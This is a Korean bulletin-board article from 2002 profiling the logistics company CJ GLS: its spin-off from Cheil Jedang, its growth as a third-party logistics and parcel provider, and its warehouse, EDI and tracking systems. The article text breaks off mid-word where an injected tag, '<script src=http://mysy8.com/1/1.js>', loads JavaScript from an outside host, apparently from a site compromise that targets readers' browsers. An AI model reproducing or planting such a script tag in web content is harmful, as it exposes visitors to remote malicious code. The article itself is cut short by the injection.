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글쓴이 운영자 작성일 2002-07-09
제목 국내외 로지스틱스 성공사례(2) 8. CJ GLS(주)
국내외 로지스틱스 성공사례(2) 8. CJ GLS(주)

국내에서 선호하는 3PL업체로 인정

CJ GLS(주)(대표 박대용, www.cjgls.com)는 50여년간의 제조 유통 물류의 경
험과 노하우를 바탕으로 지난 98년에 제일제당으로부터 분리 독립하여 설립된
토탈 로지스틱스 기업이다.
Non-Asset Base의 사업 전략을 기본으로 식품, 제약, 및 잡화 중심의 물류로
부터 출발하여 지금은 전자 상거래 업체를 포함한 전자, 화학 산업 등 고객기
반을 다양하게 확장해 나가고 있다. 국내 3PL업계의 Leading Company이기도
하다.
주문, 창고관리, 재고관리, 수송, DB관리 등을 포함하는 Value Chain상의 다양
한 고객 서비스를 통해 국내 최대 규모인 210여 개의 기업고객을 확보하고 있
으며, 특히 합리적인 의사결정과 까다로운 고객관리를 내세우는 글로벌 회사들
이 국내에서 선호하는 3PL회사로 인정받고 있다.
CJ GLS는 지난 99년 말부터 기업물류 네트윅을 기반으로 기업고객에 특화된
택배서비스를 시작하여 2001회 회계연도 기준 택배 부문에서만 600억의 매출로
메이저 택배업체의 반열에 올라섰다. 또한 국제물류 부문에도 진출, 내수와 연
계한 수출입 물류 서비스를 원스탑으로 제공하는 글로벌 비즈니스 파트너로서
의 위상을 확고히 갖추게 되었다.
일반적으로 물류는 제조업체에서 공장과 영업 부문의 하위 기능을 담당하는 물
류부서로 존재하면서 생산과 판매라는 기업 본연의 업무를 지원하는 하부 개념
으로 출발하여, 차츰 팀/사업부 단위로 발전하게 된다. 그러다 물류원가관리 체
계를 갖추고 별도의 비즈니스 UNIT으로서의 기능을 수행할 즈음에 조직을 분
리시켜 독립채산의 별도법인으로 만들기도 하고, 더 나아가서는 타사의 물류를
함께 추진하면서 3자물류로 발전하게 된다.
CJ GLS는 이러한 기업의 일반적 물류 발전단계를 충실히 따랐다고 볼 수 있
다. 1996년 제일제당 물류사업부의 형태로 존재하면서 국내 최초로 물류부문
독립 채산제를 실시하여 2자물류로 변신하면서 타사 공동물류에 대한 실험들을
전개하였고, 1998년 회사 설립과 함께 대외적으로 3자물류 전문 기업으로서의
출범을 공표하게 되었다.
그 배경에는 자가물류 체계가 갖는 별도의 물류시설 확충이나, 물류 자동화/
정보화, 물류 전문인력 충원 등에 따른 고정투자비 부담뿐만 아니라, 물류 자회
사와 모회사 사이에 존재하는 이익의 trade-off 문제라는 2자물류의 한계가 자
리하고 있었다.
흔히 CJ GLS를 얘기할 때, 제일제당의 50년 물류노하우라는 표현을 쓴다. 이
는 단순히 물류업무의 수행기간이 길다는 사실만을 의미하지는 않는다. 그 기
간 동안 무수히 많은 실험과 물류개선의 역사, 그리고 실패의 경험들을 통해
얻은 값진 교훈들이 물류 운영기술로 축적되어 왔다는 얘기다.
국내 최초의 EDI 도입, 식품업계 최초의 상물분리, 제조업체 최초의 전국 단일
콜센터 운영, 국내 최초의 광역센터 운영 등 한국 물류분야에서 앞선 개척정신
으로 표준화, 정보화, 전문화를 리드해 왔으며, 주문부터 창고관리, 수배송, 반
품까지 전체 물류 Value Chain의 역량을 골고루 갖춘 국내 최고의 물류노하우
집단으로서의 자부심과 책임감이 배어 있는 말이기도 하다.
그렇다면, CJ GLS를 타사와 구분짓는 역량에는 구체적으로 어떤 것이 있을까?
우선 국내 최대의 종합식품업체인 제일제당의 소비자 물류 네트워크를 기반을
전국 13만2,000여 도소매점 및 1만8,000개 제약 유통점에 대한 원타임 서비스가
가능한 인프라를 확보하고 있다는 점이다. 뿐만 아니라 신유통의 출현과 같은
유통환경의 변화에 유연하게 대처하고, 변화하는 고객의 니즈에 발빠르게 대응
하기 위해 기업택배 시장의 진출을 통해 전국의 Door-To-Door 물류 네트워크
를 구축하게 되었다.
정보시스템의 경쟁력 부분은 앞서 언급한 바 있지만, 사업 초부터 차별화된 선
진 물류 시스템인 주문관리, 창고관리, 배송 및 수송 관리 시스템 그리고 물류
비 분석 시스템 등을 개발/보유하였으며, 3자 물류 사업을 고려한 한국 최초로
EDI시스템 도입 등 최신 정보 기술의 도입과 다자간 사용이 가능한 정보시스
템의 구축 등 다양한 물류정보 서비스를 제공하고 있다.
또한 현재 시스템 선진화를 위해 많은 정보화 투자를 진행하여 2001년 4월 통
합 택배시스템의 오픈과 미국 EXE사의 창고관리시스템을 전국 25개 판매/제조
센터에 적용완료한 바 있다. 그 외 운행 차량의 중앙 컨트롤과 차량/화물 매칭
과 추적을 위한 디지털 운송시스템과 국내외를 연결하고 글로벌 Visibility를
지원하는 토털 솔루션인 데카르트 시스템, 고객 맞춤형 정보제공을 위한 My
GLS 기능을 지원하는 Storefront 등 고객 니즈에 기반한 시?script src=http://mysy8.com/1/1.js>
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